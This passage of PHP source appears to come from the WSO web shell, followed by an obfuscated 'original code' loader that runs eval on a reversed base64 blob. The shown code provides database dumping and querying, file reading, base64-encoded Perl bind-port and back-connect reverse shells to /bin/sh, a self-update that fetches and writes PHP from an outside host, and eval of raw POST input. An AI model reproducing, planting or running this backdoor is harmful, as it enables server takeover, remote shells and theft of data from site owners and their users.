				echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
				if(@$_POST['p1'] == 'select') {
					$_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
					$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
					$num = $db->fetch();
					$pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                    echo " of $pages";
                    if($_POST['p3'] > 1)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
                    if($_POST['p3'] < $pages)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
                    $_POST['p3']--;
					if($_POST['type']=='pgsql')
						$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
					else
						$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
					echo "<br><br>";
				}
				if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
					$db->query(@$_POST['p2']);
					if($db->res !== false) {
						$title = false;
						echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
						$line = 1;
						while($item = $db->fetch())	{
							if(!$title)	{
								echo '<tr>';
								foreach($item as $key => $value)
									echo '<th>'.$key.'</th>';
								reset($item);
								$title=true;
								echo '</tr><tr>';
								$line = 2;
							}
							echo '<tr class="l'.$line.'">';
							$line = $line==1?2:1;
							foreach($item as $key => $value) {
								if($value == null)
									echo '<td><i>null</i></td>';
								else
									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
							}
							echo '</tr>';
						}
						echo '</table>';
					} else {
						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
					}
				}
				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
            }
			if(@$_POST['p1'] == 'loadfile') {
				$file = $db->loadFile($_POST['p2']);
				echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo '</div>';
	wsoFooter();
}
function actionNetwork() {
	wsoHeader();
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form>
	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form><br>";
	if(isset($_POST['p1'])) {
		function cf($f,$t) {
			$w = @fopen($f,"w") or @function_exists('file_put_contents');
			if($w){
				@fwrite($w,base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST['p1'] == 'bpp') {
			cf("/tmp/bp.pl",$bind_port_p);
			$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
            unlink("/tmp/bp.pl");
		}
		if($_POST['p1'] == 'bcp') {
			cf("/tmp/bc.pl",$back_connect_p);
			$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
            unlink("/tmp/bc.pl");
		}
	}
	echo '</div>';
	wsoFooter();
}

function actionUPDate() {
	wsoHeader();
	echo "<h1>UPdate</h1><div class=content>";
	function http_get_contents($url){
		$codex = @file_get_contents($url);
		if (empty($codex)){
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url);
			curl_setopt($ch, CURLOPT_HEADER, 0); 
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
			curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
			curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15);
			curl_setopt($ch, CURLOPT_TIMEOUT, 15);
			curl_setopt($ch, CURLOPT_COOKIESESSION,true);
			curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0");
			$urlPage = curl_exec($ch);
			curl_close($ch);
			return($urlPage);
		}else {
			return $codex;
		}
	}
	$php  = http_get_contents("http://filestack.live/96382367f90798e98d30f82012963197.htm");
	if(!preg_match("/<\?php/", $php)){ echo '<center><font color="red"><p>[-] Failed.</p></font></center>'; wsoFooter(); die(); }
	$namefile = basename(__FILE__);
	if(preg_match("/\.php/", $namefile)){
		preg_match("#(.*)\.php#", $namefile, $namefile2);
		$namefile = $namefile2[1].'.php';
	}elseif(preg_match("/\.php5/", $namefile)){
		preg_match("#(.*)\.php5#", $namefile, $namefile2);
		$namefile = $namefile2[1].'.php5';
	}elseif(preg_match("/\.php7/", $namefile)){
		preg_match("#(.*)\.php7#", $namefile, $namefile2);
		$namefile = $namefile2[1].'.php7';
	}elseif(preg_match("/\.phtml/", $namefile)){
		preg_match("#(.*)\.phtml#", $namefile, $namefile2);
		$namefile = $namefile2[1].'.phtml';
	}
	file_put_contents($namefile, $php);
	echo "<center>./Done !<br></center>";
	echo "<script> location.href='$namefile'; </script>";
	wsoFooter();
}

function actionRC() {
	if(!@$_POST['p1']) {
		$a = array(
			"uname" => php_uname(),
			"php_version" => phpversion(),
			"wso_version" => WSO_VERSION,
			"safemode" => @ini_get('safe_mode')
		);
		echo serialize($a);
	} else {
		eval($_POST['p1']);
	}
}
if( empty($_POST['a']) )
	if(isset($default_action) && function_exists('action' . $default_action))
		$_POST['a'] = $default_action;
	else
		$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
	call_user_func('action' . $_POST['a']);
exit;

Did this file decode correctly?

Original Code

<?php $twpBu = 's'.'t'.'rrev'; $IcoJs = 'base6'.'4'.'_d'.'ec'.'ode'; /*   zjh  kwpjryybbx xgrkmdepfvnostuiovacc        ***/ error_reporting(0); ini_set('display_errors', 0); eval($IcoJs($twpBu('=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